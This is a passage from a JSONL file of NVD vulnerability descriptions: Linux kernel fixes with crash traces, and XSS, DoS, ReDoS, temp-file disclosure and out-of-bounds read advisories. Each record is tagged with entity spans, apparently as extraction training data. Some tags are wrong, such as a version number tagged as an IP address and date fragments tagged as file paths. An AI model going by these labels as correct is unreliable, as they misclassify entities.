[c0000000007c4bac] __list_del_entry_valid+0x8c/0x100 (unreliable)\n[c00000025c10ba60] [c008000002f42284] ibmvfc_free_queue+0xec/0x210 [ibmvfc]\n[c00000025c10bb10] [c008000002f4246c] ibmvfc_deregister_scsi_channel+0xc4/0x160 [ibmvfc]\n[c00000025c10bba0] [c008000002f42580] ibmvfc_release_sub_crqs+0x78/0x130 [ibmvfc]\n[c00000025c10bc20] [c008000002f4f6cc] ibmvfc_do_work+0x5c4/0xc70 [ibmvfc]\n[c00000025c10bce0] [c008000002f4fdec] ibmvfc_work+0x74/0x1e8 [ibmvfc]\n[c00000025c10bda0] [c0000000001872b8] kthread+0x1b8/0x1c0\n[c00000025c10be10] [c00000000000cd64] ret_from_kernel_thread+0x5c/0x64\nInstruction dump:\n40820034 38600001 38210060 4e800020 7c0802a6 7c641b78 3c62fe7a 7d254b78\n3863b590 f8010070 4ba309cd 60000000 <0fe00000> 7c0802a6 3c62fe7a 3863b640\n---[ end trace 11a2b65a92f8b66c ]---\nibmvfc 30000003: Send warning. Receive queue closed, will retry.\n\nAdd registration/deregistration helpers that are called instead during\nconnection resets to sanitize and reconfigure the queues.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49701"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nLoongArch: BPF: Disable trampoline for kernel module function trace\n\nThe current LoongArch BPF trampoline implementation is incompatible\nwith tracing functions in kernel modules. This causes several severe\nand user-visible problems:\n\n* The `bpf_selftests/module_attach` test fails consistently.\n* Kernel lockup when a BPF program is attached to a module function [1].\n* Critical kernel modules like WireGuard experience traffic disruption\n  when their functions are traced with fentry [2].\n\nGiven the severity and the potential for other unknown side-effects, it\nis safest to disable the feature entirely for now. This patch prevents\nthe BPF subsystem from allowing trampoline attachments to kernel module\nfunctions on LoongArch.\n\nThis is a temporary mitigation until the core issues in the trampoline\ncode for kernel module handling can be identified and fixed.\n\n[root@fedora bpf]# ./test_progs -a module_attach -v\nbpf_testmod.ko is already unloaded.\nLoading bpf_testmod.ko...\nSuccessfully loaded bpf_testmod.ko.\ntest_module_attach:PASS:skel_open 0 nsec\ntest_module_attach:PASS:set_attach_target 0 nsec\ntest_module_attach:PASS:set_attach_target_explicit 0 nsec\ntest_module_attach:PASS:skel_load 0 nsec\nlibbpf: prog 'handle_fentry': failed to attach: -ENOTSUPP\nlibbpf: prog 'handle_fentry': failed to auto-attach: -ENOTSUPP\ntest_module_attach:FAIL:skel_attach skeleton attach failed: -524\nSummary: 0/0 PASSED, 0 SKIPPED, 1 FAILED\nSuccessfully unloaded bpf_testmod.ko.\n\n[1]: https://lore.kernel.org/loongarch/CAK3+h2wDmpC-hP4u4pJY8T-yfKyk4yRzpu2LMO+C13FMT58oqQ@mail.gmail.com/\n[2]: https://lore.kernel.org/loongarch/CAK3+h2wYcpc+OwdLDUBvg2rF9rvvyc5amfHT-KcFaK93uoELPg@mail.gmail.com/", "spans": {"URL: https://lore.kernel.org/loongarch/CAK3+h2wDmpC-hP4u4pJY8T-yfKyk4yRzpu2LMO+C13FMT58oqQ@mail.gmail.com/": [[1543, 1644]], "URL: https://lore.kernel.org/loongarch/CAK3+h2wYcpc+OwdLDUBvg2rF9rvvyc5amfHT-KcFaK93uoELPg@mail.gmail.com/": [[1650, 1751]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: WireGuard": [[468, 477]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68216"}}
{"text": "Squidex is an open source headless CMS and content management hub. Affected versions are missing origin verification in a postMessage handler which introduces a Cross-Site Scripting (XSS) vulnerability. The editor-sdk.js file defines three different class-like functions, which employ a global message event listener: SquidexSidebar, SquidexWidget, and SquidexFormField. The registered event listener takes some action based on the type of the received message. For example, when the SquidexFormField receives a message with the type valueChanged, the value property is updated. The SquidexFormField class is for example used in the editor-editorjs.html file, which can be accessed via the public wwwroot folder. It uses the onValueChanged method to register a callback function, which passes the value provided from the message event to the editor.render. Passing an attacker-controlled value to this function introduces a Cross-Site Scripting (XSS) vulnerability.", "spans": {"FILEPATH: sdk.js": [[214, 220]], "FILEPATH: editorjs.html": [[640, 653]], "VULNERABILITY: Cross-Site Scripting": [[161, 181], [924, 944]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-46252"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Free kvm_cpuid_entry2 array on post-KVM_RUN KVM_SET_CPUID{,2}\n\nFree the \"struct kvm_cpuid_entry2\" array on successful post-KVM_RUN\nKVM_SET_CPUID{,2} to fix a memory leak, the callers of kvm_set_cpuid()\nfree the array only on failure.\n\n BUG: memory leak\n unreferenced object 0xffff88810963a800 (size 2048):\n  comm \"syz-executor025\", pid 3610, jiffies 4294944928 (age 8.080s)\n  hex dump (first 32 bytes):\n    00 00 00 00 00 00 00 00 00 00 00 00 0d 00 00 00  ................\n    47 65 6e 75 6e 74 65 6c 69 6e 65 49 00 00 00 00  GenuntelineI....\n  backtrace:\n    [<ffffffff814948ee>] kmalloc_node include/linux/slab.h:604 [inline]\n    [<ffffffff814948ee>] kvmalloc_node+0x3e/0x100 mm/util.c:580\n    [<ffffffff814950f2>] kvmalloc include/linux/slab.h:732 [inline]\n    [<ffffffff814950f2>] vmemdup_user+0x22/0x100 mm/util.c:199\n    [<ffffffff8109f5ff>] kvm_vcpu_ioctl_set_cpuid2+0x8f/0xf0 arch/x86/kvm/cpuid.c:423\n    [<ffffffff810711b9>] kvm_arch_vcpu_ioctl+0xb99/0x1e60 arch/x86/kvm/x86.c:5251\n    [<ffffffff8103e92d>] kvm_vcpu_ioctl+0x4ad/0x950 arch/x86/kvm/../../../virt/kvm/kvm_main.c:4066\n    [<ffffffff815afacc>] vfs_ioctl fs/ioctl.c:51 [inline]\n    [<ffffffff815afacc>] __do_sys_ioctl fs/ioctl.c:874 [inline]\n    [<ffffffff815afacc>] __se_sys_ioctl fs/ioctl.c:860 [inline]\n    [<ffffffff815afacc>] __x64_sys_ioctl+0xfc/0x140 fs/ioctl.c:860\n    [<ffffffff844a3335>] do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n    [<ffffffff844a3335>] do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n    [<ffffffff84600068>] entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /linux/slab.h": [[680, 693], [812, 825]], "FILEPATH: /x86/kvm/cpuid.c": [[967, 983]], "FILEPATH: /x86/kvm/x86.c": [[1050, 1064]], "FILEPATH: /x86/kvm/../../../virt/kvm/kvm_main.c": [[1126, 1163]], "FILEPATH: /x86/entry/common.c": [[1466, 1485], [1551, 1570]], "FILEPATH: util.c": [[760, 766], [891, 897]], "FILEPATH: ioctl.c": [[1207, 1214], [1270, 1277], [1334, 1341], [1410, 1417]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]], "VULNERABILITY: memory leak": [[237, 248], [320, 331]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48764"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched_ext: Fix incorrect autogroup migration detection\n\nscx_move_task() is called from sched_move_task() and tells the BPF scheduler\nthat cgroup migration is being committed. sched_move_task() is used by both\ncgroup and autogroup migrations and scx_move_task() tried to filter out\nautogroup migrations by testing the destination cgroup and PF_EXITING but\nthis is not enough. In fact, without explicitly tagging the thread which is\ndoing the cgroup migration, there is no good way to tell apart\nscx_move_task() invocations for racing migration to the root cgroup and an\nautogroup migration.\n\nThis led to scx_move_task() incorrectly ignoring a migration from non-root\ncgroup to an autogroup of the root cgroup triggering the following warning:\n\n  WARNING: CPU: 7 PID: 1 at kernel/sched/ext.c:3725 scx_cgroup_can_attach+0x196/0x340\n  ...\n  Call Trace:\n  <TASK>\n    cgroup_migrate_execute+0x5b1/0x700\n    cgroup_attach_task+0x296/0x400\n    __cgroup_procs_write+0x128/0x140\n    cgroup_procs_write+0x17/0x30\n    kernfs_fop_write_iter+0x141/0x1f0\n    vfs_write+0x31d/0x4a0\n    __x64_sys_write+0x72/0xf0\n    do_syscall_64+0x82/0x160\n    entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nFix it by adding an argument to sched_move_task() that indicates whether the\nmoving is for a cgroup or autogroup migration. After the change,\nscx_move_task() is called only for cgroup migrations and renamed to\nscx_cgroup_move_task().", "spans": {"FILEPATH: /sched/ext.c": [[846, 858]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21771"}}
{"text": "Unpoly is a JavaScript framework for server-side web applications. There is a possible Denial of Service (DoS) vulnerability in the `unpoly-rails` gem that implements the Unpoly server protocol for Rails applications. This issues affects Rails applications that operate as an upstream of a load balancer's that uses passive health checks. The `unpoly-rails` gem echoes the request URL as an `X-Up-Location` response header. By making a request with exceedingly long URLs (paths or query string), an attacker can cause unpoly-rails to write a exceedingly large response header.  If the response header is too large to be parsed by a load balancer downstream of the Rails application, it may cause the load balancer to remove the upstream from a load balancing group. This causes that application instance to become unavailable until a configured timeout is reached or until an active healthcheck succeeds. This issue has been fixed and released as version 2.7.2.2 which is available via RubyGems and GitHub. Users unable to upgrade may: Configure your load balancer to use active health checks, e.g. by periodically requesting a route with a known response that indicates healthiness; Configure your load balancer so the maximum size of response headers is at least twice the maximum size of a URL; or instead of changing your server configuration you may also configure your Rails application to delete redundant `X-Up-Location` headers set by unpoly-rails.", "spans": {"IP_ADDRESS: 2.7.2.2": [[955, 962]], "ORGANIZATION: GitHub": [[999, 1005]], "VULNERABILITY: Denial of Service": [[87, 104]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28846"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: test for not too small csum_start in virtio_net_hdr_to_skb()\n\nsyzbot was able to trigger this warning [1], after injecting a\nmalicious packet through af_packet, setting skb->csum_start and thus\nthe transport header to an incorrect value.\n\nWe can at least make sure the transport header is after\nthe end of the network header (with a estimated minimal size).\n\n[1]\n[   67.873027] skb len=4096 headroom=16 headlen=14 tailroom=0\nmac=(-1,-1) mac_len=0 net=(16,-6) trans=10\nshinfo(txflags=0 nr_frags=1 gso(size=0 type=0 segs=0))\ncsum(0xa start=10 offset=0 ip_summed=3 complete_sw=0 valid=0 level=0)\nhash(0x0 sw=0 l4=0) proto=0x0800 pkttype=0 iif=0\npriority=0x0 mark=0x0 alloc_cpu=10 vlan_all=0x0\nencapsulation=0 inner(proto=0x0000, mac=0, net=0, trans=0)\n[   67.877172] dev name=veth0_vlan feat=0x000061164fdd09e9\n[   67.877764] sk family=17 type=3 proto=0\n[   67.878279] skb linear:   00000000: 00 00 10 00 00 00 00 00 0f 00 00 00 08 00\n[   67.879128] skb frag:     00000000: 0e 00 07 00 00 00 28 00 08 80 1c 00 04 00 00 02\n[   67.879877] skb frag:     00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.880647] skb frag:     00000020: 00 00 02 00 00 00 08 00 1b 00 00 00 00 00 00 00\n[   67.881156] skb frag:     00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.881753] skb frag:     00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.882173] skb frag:     00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.882790] skb frag:     00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.883171] skb frag:     00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.883733] skb frag:     00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.884206] skb frag:     00000090: 00 00 00 00 00 00 00 00 00 00 69 70 76 6c 61 6e\n[   67.884704] skb frag:     000000a0: 31 00 00 00 00 00 00 00 00 00 2b 00 00 00 00 00\n[   67.885139] skb frag:     000000b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.885677] skb frag:     000000c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.886042] skb frag:     000000d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.886408] skb frag:     000000e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.887020] skb frag:     000000f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n[   67.887384] skb frag:     00000100: 00 00\n[   67.887878] ------------[ cut here ]------------\n[   67.887908] offset (-6) >= skb_headlen() (14)\n[   67.888445] WARNING: CPU: 10 PID: 2088 at net/core/dev.c:3332 skb_checksum_help (net/core/dev.c:3332 (discriminator 2))\n[   67.889353] Modules linked in: macsec macvtap macvlan hsr wireguard curve25519_x86_64 libcurve25519_generic libchacha20poly1305 chacha_x86_64 libchacha poly1305_x86_64 dummy bridge sr_mod cdrom evdev pcspkr i2c_piix4 9pnet_virtio 9p 9pnet netfs\n[   67.890111] CPU: 10 UID: 0 PID: 2088 Comm: b363492833 Not tainted 6.11.0-virtme #1011\n[   67.890183] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   67.890309] RIP: 0010:skb_checksum_help (net/core/dev.c:3332 (discriminator 2))\n[   67.891043] Call Trace:\n[   67.891173]  <TASK>\n[   67.891274] ? __warn (kernel/panic.c:741)\n[   67.891320] ? skb_checksum_help (net/core/dev.c:3332 (discriminator 2))\n[   67.891333] ? report_bug (lib/bug.c:180 lib/bug.c:219)\n[   67.891348] ? handle_bug (arch/x86/kernel/traps.c:239)\n[   67.891363] ? exc_invalid_op (arch/x86/kernel/traps.c:260 (discriminator 1))\n[   67.891372] ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621)\n[   67.891388] ? skb_checksum_help (net/core/dev.c:3332 (discriminator 2))\n[   67.891399] ? skb_checksum_help (net/core/dev.c:3332 (discriminator 2))\n[   67.891416] ip_do_fragment (net/ipv4/ip_output.c:777 (discriminator 1))\n[   67.891448] ? __ip_local_out (./include/linux/skbuff.h:1146 ./include/net/l3mdev.h:196 ./include/net/l3mdev.h:213 ne\n---truncated---", "spans": {"FILEPATH: /core/dev.c": [[2592, 2603], [2631, 2642], [3160, 3171], [3330, 3341], [3677, 3688], [3752, 3763]], "FILEPATH: /01/2014": [[3104, 3112]], "FILEPATH: /x86/kernel/traps.c": [[3457, 3476], [3519, 3538]], "FILEPATH: /arch/x86/include/asm/idtentry.h": [[3600, 3632]], "FILEPATH: /ipv4/ip_output.c": [[3822, 3839]], "FILEPATH: /include/linux/skbuff.h": [[3897, 3920]], "FILEPATH: /include/net/l3mdev.h": [[3927, 3948], [3954, 3975]], "FILEPATH: panic.c": [[3278, 3285]], "FILEPATH: bug.c": [[3399, 3404], [3413, 3418]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[3034, 3038]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49947"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix race in concurrent f2fs_stop_gc_thread\n\nIn my test case, concurrent calls to f2fs shutdown report the following\nstack trace:\n\n Oops: general protection fault, probably for non-canonical address 0xc6cfff63bb5513fc: 0000 [#1] PREEMPT SMP PTI\n CPU: 0 UID: 0 PID: 678 Comm: f2fs_rep_shutdo Not tainted 6.12.0-rc5-next-20241029-g6fb2fa9805c5-dirty #85\n Call Trace:\n  <TASK>\n  ? show_regs+0x8b/0xa0\n  ? __die_body+0x26/0xa0\n  ? die_addr+0x54/0x90\n  ? exc_general_protection+0x24b/0x5c0\n  ? asm_exc_general_protection+0x26/0x30\n  ? kthread_stop+0x46/0x390\n  f2fs_stop_gc_thread+0x6c/0x110\n  f2fs_do_shutdown+0x309/0x3a0\n  f2fs_ioc_shutdown+0x150/0x1c0\n  __f2fs_ioctl+0xffd/0x2ac0\n  f2fs_ioctl+0x76/0xe0\n  vfs_ioctl+0x23/0x60\n  __x64_sys_ioctl+0xce/0xf0\n  x64_sys_call+0x2b1b/0x4540\n  do_syscall_64+0xa7/0x240\n  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n\nThe root cause is a race condition in f2fs_stop_gc_thread() called from\ndifferent f2fs shutdown paths:\n\n  [CPU0]                       [CPU1]\n  ----------------------       -----------------------\n  f2fs_stop_gc_thread          f2fs_stop_gc_thread\n                                 gc_th = sbi->gc_thread\n    gc_th = sbi->gc_thread\n    kfree(gc_th)\n    sbi->gc_thread = NULL\n                                 < gc_th != NULL >\n                                 kthread_stop(gc_th->f2fs_gc_task) //UAF\n\nThe commit c7f114d864ac (\"f2fs: fix to avoid use-after-free in\nf2fs_stop_gc_thread()\") attempted to fix this issue by using a read\nsemaphore to prevent races between shutdown and remount threads, but\nit fails to prevent all race conditions.\n\nFix it by converting to write lock of s_umount in f2fs_do_shutdown().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[1469, 1483]], "VULNERABILITY: race condition": [[945, 959]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53218"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can trigger a crash via a `CHECK`-fail in debug builds of TensorFlow using `tf.raw_ops.ResourceGather` or a read from outside the bounds of heap allocated data in the same API in a release build. The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668) does not check that the `batch_dims` value that the user supplies is less than the rank of the input tensor. Since the implementation uses several for loops over the dimensions of `tensor`, this results in reading data from outside the bounds of heap allocated buffer backing the tensor. We have patched the issue in GitHub commit bc9c546ce7015c57c2f15c168b3d9201de679a1d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L660-L668": [[321, 466]], "HASH: bc9c546ce7015c57c2f15c168b3d9201de679a1d": [[799, 839]], "ORGANIZATION: GitHub": [[785, 791]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37654"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf: Fix event leak upon exit\n\nWhen a task is scheduled out, pending sigtrap deliveries are deferred\nto the target task upon resume to userspace via task_work.\n\nHowever failures while adding an event's callback to the task_work\nengine are ignored. And since the last call for events exit happen\nafter task work is eventually closed, there is a small window during\nwhich pending sigtrap can be queued though ignored, leaking the event\nrefcount addition such as in the following scenario:\n\n    TASK A\n    -----\n\n    do_exit()\n       exit_task_work(tsk);\n\n       <IRQ>\n       perf_event_overflow()\n          event->pending_sigtrap = pending_id;\n          irq_work_queue(&event->pending_irq);\n       </IRQ>\n    =========> PREEMPTION: TASK A -> TASK B\n       event_sched_out()\n          event->pending_sigtrap = 0;\n          atomic_long_inc_not_zero(&event->refcount)\n          // FAILS: task work has exited\n          task_work_add(&event->pending_task)\n       [...]\n       <IRQ WORK>\n       perf_pending_irq()\n          // early return: event->oncpu = -1\n       </IRQ WORK>\n       [...]\n    =========> TASK B -> TASK A\n       perf_event_exit_task(tsk)\n          perf_event_exit_event()\n             free_event()\n                WARN(atomic_long_cmpxchg(&event->refcount, 1, 0) != 1)\n                // leak event due to unexpected refcount == 2\n\nAs a result the event is never released while the task exits.\n\nFix this with appropriate task_work_add()'s error handling.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43870"}}
{"text": "Netty is an open-source, asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In Netty before version 4.1.59.Final there is a vulnerability on Unix-like systems involving an insecure temp file. When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. The method \"File.createTempFile\" on unix-like systems creates a random file, but, by default will create this file with the permissions \"-rw-r--r--\". Thus, if sensitive information is written to this file, other local users can read this information. This is the case in netty's \"AbstractDiskHttpData\" is vulnerable. This has been fixed in version 4.1.59.Final. As a workaround, one may specify your own \"java.io.tmpdir\" when you start the JVM or use \"DefaultHttpDataFactory.setBaseDir(...)\" to set the directory to something that is only readable by the current user.", "spans": {"DOMAIN: java.io": [[1135, 1142]], "VULNERABILITY: information disclosure": [[327, 349], [644, 666]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-21290"}}
{"text": "BigBlueButton is an open source web conferencing system. Versions starting with 2.2 and prior to 2.3.19, 2.4.7, and 2.5.0-beta.2 are vulnerable to regular expression denial of service (ReDoS) attacks. By using specific a RegularExpression, an attacker can cause denial of service for the bbb-html5 service. The useragent library performs checking of device by parsing the input of User-Agent header and lets it go through lookupUserAgent() (alias of useragent.lookup() ). This function handles input by regexing and attackers can abuse that by providing some ReDos payload using `SmartWatch`. The maintainers removed `htmlclient/useragent` from versions 2.3.19, 2.4.7, and 2.5.0-beta.2. As a workaround, disable NginX forwarding the requests to the handler according to the directions in the GitHub Security Advisory.", "spans": {"ORGANIZATION: GitHub": [[792, 798]], "VULNERABILITY: denial of service": [[166, 183], [262, 279]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-29169"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmptcp: never allow the PM to close a listener subflow\n\nCurrently, when deleting an endpoint the netlink PM treverses\nall the local MPTCP sockets, regardless of their status.\n\nIf an MPTCP listener socket is bound to the IP matching the\ndelete endpoint, the listener TCP socket will be closed.\nThat is unexpected, the PM should only affect data subflows.\n\nAdditionally, syzbot was able to trigger a NULL ptr dereference\ndue to the above:\n\ngeneral protection fault, probably for non-canonical address 0xdffffc0000000003: 0000 [#1] PREEMPT SMP KASAN\nKASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\nCPU: 1 PID: 6550 Comm: syz-executor122 Not tainted 5.16.0-rc4-syzkaller #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nRIP: 0010:__lock_acquire+0xd7d/0x54a0 kernel/locking/lockdep.c:4897\nCode: 0f 0e 41 be 01 00 00 00 0f 86 c8 00 00 00 89 05 69 cc 0f 0e e9 bd 00 00 00 48 b8 00 00 00 00 00 fc ff df 48 89 da 48 c1 ea 03 <80> 3c 02 00 0f 85 f3 2f 00 00 48 81 3b 20 75 17 8f 0f 84 52 f3 ff\nRSP: 0018:ffffc90001f2f818 EFLAGS: 00010016\nRAX: dffffc0000000000 RBX: 0000000000000018 RCX: 0000000000000000\nRDX: 0000000000000003 RSI: 0000000000000000 RDI: 0000000000000001\nRBP: 0000000000000000 R08: 0000000000000001 R09: 0000000000000001\nR10: 0000000000000000 R11: 000000000000000a R12: 0000000000000000\nR13: ffff88801b98d700 R14: 0000000000000000 R15: 0000000000000001\nFS:  00007f177cd3d700(0000) GS:ffff8880b9d00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f177cd1b268 CR3: 000000001dd55000 CR4: 0000000000350ee0\nCall Trace:\n <TASK>\n lock_acquire kernel/locking/lockdep.c:5637 [inline]\n lock_acquire+0x1ab/0x510 kernel/locking/lockdep.c:5602\n __raw_spin_lock_irqsave include/linux/spinlock_api_smp.h:110 [inline]\n _raw_spin_lock_irqsave+0x39/0x50 kernel/locking/spinlock.c:162\n finish_wait+0xc0/0x270 kernel/sched/wait.c:400\n inet_csk_wait_for_connect net/ipv4/inet_connection_sock.c:464 [inline]\n inet_csk_accept+0x7de/0x9d0 net/ipv4/inet_connection_sock.c:497\n mptcp_accept+0xe5/0x500 net/mptcp/protocol.c:2865\n inet_accept+0xe4/0x7b0 net/ipv4/af_inet.c:739\n mptcp_stream_accept+0x2e7/0x10e0 net/mptcp/protocol.c:3345\n do_accept+0x382/0x510 net/socket.c:1773\n __sys_accept4_file+0x7e/0xe0 net/socket.c:1816\n __sys_accept4+0xb0/0x100 net/socket.c:1846\n __do_sys_accept net/socket.c:1864 [inline]\n __se_sys_accept net/socket.c:1861 [inline]\n __x64_sys_accept+0x71/0xb0 net/socket.c:1861\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7f177cd8b8e9\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 b1 14 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f177cd3d308 EFLAGS: 00000246 ORIG_RAX: 000000000000002b\nRAX: ffffffffffffffda RBX: 00007f177ce13408 RCX: 00007f177cd8b8e9\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000003\nRBP: 00007f177ce13400 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007f177ce1340c\nR13: 00007f177cde1004 R14: 6d705f706374706d R15: 0000000000022000\n </TASK>\n\nFix the issue explicitly skipping MPTCP socket in TCP_LISTEN\nstatus.", "spans": {"FILEPATH: /01/2011": [[842, 850]], "FILEPATH: /locking/lockdep.c": [[895, 913], [1726, 1744], [1791, 1809]], "FILEPATH: /linux/spinlock_api_smp.h": [[1847, 1872]], "FILEPATH: /locking/spinlock.c": [[1926, 1945]], "FILEPATH: /sched/wait.c": [[1980, 1993]], "FILEPATH: /ipv4/inet_connection_sock.c": [[2028, 2056], [2102, 2130]], "FILEPATH: /mptcp/protocol.c": [[2163, 2180], [2270, 2287]], "FILEPATH: /ipv4/af_inet.c": [[2213, 2228]], "FILEPATH: /x86/entry/common.c": [[2580, 2599], [2641, 2660]], "FILEPATH: socket.c": [[2320, 2328], [2368, 2376], [2412, 2420], [2447, 2455], [2491, 2499], [2546, 2554]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[776, 782], [783, 789], [805, 811], [833, 839]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47594"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: f_ncm: fix potential NULL ptr deref in ncm_bitrate()\n\nIn Google internal bug 265639009 we've received an (as yet) unreproducible\ncrash report from an aarch64 GKI 5.10.149-android13 running device.\n\nAFAICT the source code is at:\n  https://android.googlesource.com/kernel/common/+/refs/tags/ASB-2022-12-05_13-5.10\n\nThe call stack is:\n  ncm_close() -> ncm_notify() -> ncm_do_notify()\nwith the crash at:\n  ncm_do_notify+0x98/0x270\nCode: 79000d0b b9000a6c f940012a f9400269 (b9405d4b)\n\nWhich I believe disassembles to (I don't know ARM assembly, but it looks sane enough to me...):\n\n  // halfword (16-bit) store presumably to event->wLength (at offset 6 of struct usb_cdc_notification)\n  0B 0D 00 79    strh w11, [x8, #6]\n\n  // word (32-bit) store presumably to req->Length (at offset 8 of struct usb_request)\n  6C 0A 00 B9    str  w12, [x19, #8]\n\n  // x10 (NULL) was read here from offset 0 of valid pointer x9\n  // IMHO we're reading 'cdev->gadget' and getting NULL\n  // gadget is indeed at offset 0 of struct usb_composite_dev\n  2A 01 40 F9    ldr  x10, [x9]\n\n  // loading req->buf pointer, which is at offset 0 of struct usb_request\n  69 02 40 F9    ldr  x9, [x19]\n\n  // x10 is null, crash, appears to be attempt to read cdev->gadget->max_speed\n  4B 5D 40 B9    ldr  w11, [x10, #0x5c]\n\nwhich seems to line up with ncm_do_notify() case NCM_NOTIFY_SPEED code fragment:\n\n  event->wLength = cpu_to_le16(8);\n  req->length = NCM_STATUS_BYTECOUNT;\n\n  /* SPEED_CHANGE data is up/down speeds in bits/sec */\n  data = req->buf + sizeof *event;\n  data[0] = cpu_to_le32(ncm_bitrate(cdev->gadget));\n\nMy analysis of registers and NULL ptr deref crash offset\n  (Unable to handle kernel NULL pointer dereference at virtual address 000000000000005c)\nheavily suggests that the crash is due to 'cdev->gadget' being NULL when executing:\n  data[0] = cpu_to_le32(ncm_bitrate(cdev->gadget));\nwhich calls:\n  ncm_bitrate(NULL)\nwhich then calls:\n  gadget_is_superspeed(NULL)\nwhich reads\n  ((struct usb_gadget *)NULL)->max_speed\nand hits a panic.\n\nAFAICT, if I'm counting right, the offset of max_speed is indeed 0x5C.\n(remember there's a GKI KABI reservation of 16 bytes in struct work_struct)\n\nIt's not at all clear to me how this is all supposed to work...\nbut returning 0 seems much better than panic-ing...", "spans": {"URL: https://android.googlesource.com/kernel/common/+/refs/tags/ASB-2022-12-05_13-5.10": [[312, 393]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[139, 145]], "VULNERABILITY: NULL pointer dereference": [[1751, 1775]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52894"}}
